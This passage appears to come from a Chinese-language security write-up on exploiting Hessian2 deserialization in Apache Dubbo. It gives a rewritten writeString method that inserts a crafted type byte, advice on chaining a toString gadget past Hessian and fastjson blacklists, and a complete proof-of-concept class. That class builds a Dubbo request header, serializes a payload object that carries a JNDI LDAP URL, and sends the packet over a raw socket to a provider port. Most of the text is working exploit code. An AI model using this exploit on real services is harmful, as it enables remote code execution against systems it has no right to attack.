构造的话,重写一下com.alibaba.com.caucho.hessian.io.Hessian2Output#writeString(java.lang.String)
方法。
int offset = this._offset;
byte[] buffer = this._buffer;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}
if (value == null) {
buffer[offset++] = 78;
this._offset = offset;
} else {
int length = value.length();
int strOffset;
int sublen;
for (strOffset = 0; length > 32768; strOffset += sublen) {
sublen = 32768;
offset = this._offset;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}
char tail = value.charAt(strOffset + sublen - 1);
if ('\ud800' <= tail && tail <= '\udbff') {
--sublen;
}
buffer[offset + 0] = 82;
buffer[offset + 1] = (byte) (sublen >> 8);
buffer[offset + 2] = (byte) sublen;
this._offset = offset + 3;
this.printString(value, strOffset, sublen);
length -= sublen;
}
offset = this._offset;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}
if (length <= 31) {
if (value.startsWith("2.")) {
buffer[offset++] = 67;
} else {
buffer[offset++] = (byte) (0 + length);
}
} else if (length <= 1023) {
buffer[offset++] = (byte) (48 + (length >> 8));
buffer[offset++] = (byte) length;
} else {
buffer[offset++] = 83;
buffer[offset++] = (byte) (length >> 8);
buffer[offset++] = (byte) length;
}
if (!value.startsWith("2.")) {
this._offset = offset;
this.printString(value, strOffset, length);
}
}
}
然后在后面紧接着writeObject 一个 toString 的Gadgets即可。
但利用比较局限,hessian存在黑名单,老五条被ban掉,然后fastjson版本又是在1.2.70,同样有黑名单的限制。
需要找其他第三方的依赖,且满足Hessian2序列化的规则。
poc
package org.apache.dubbo.samples.basic;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.Random;
public class TestBasicConsumer {
public static String JNDI_URL = "ldap://127.0.0.1:1389/xxx";
public static Object payload()throws Exception{
return new Tests();
}
public static void main(String[] args) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
out.writeUTF("2.0.2");
//todo 此处填写注册中心获取到的service全限定名、版本号、方法名
// attachment
out.writeObject(payload());
out.flushBuffer();
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
//todo 此处填写被攻击的dubbo服务提供者地址和端口
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}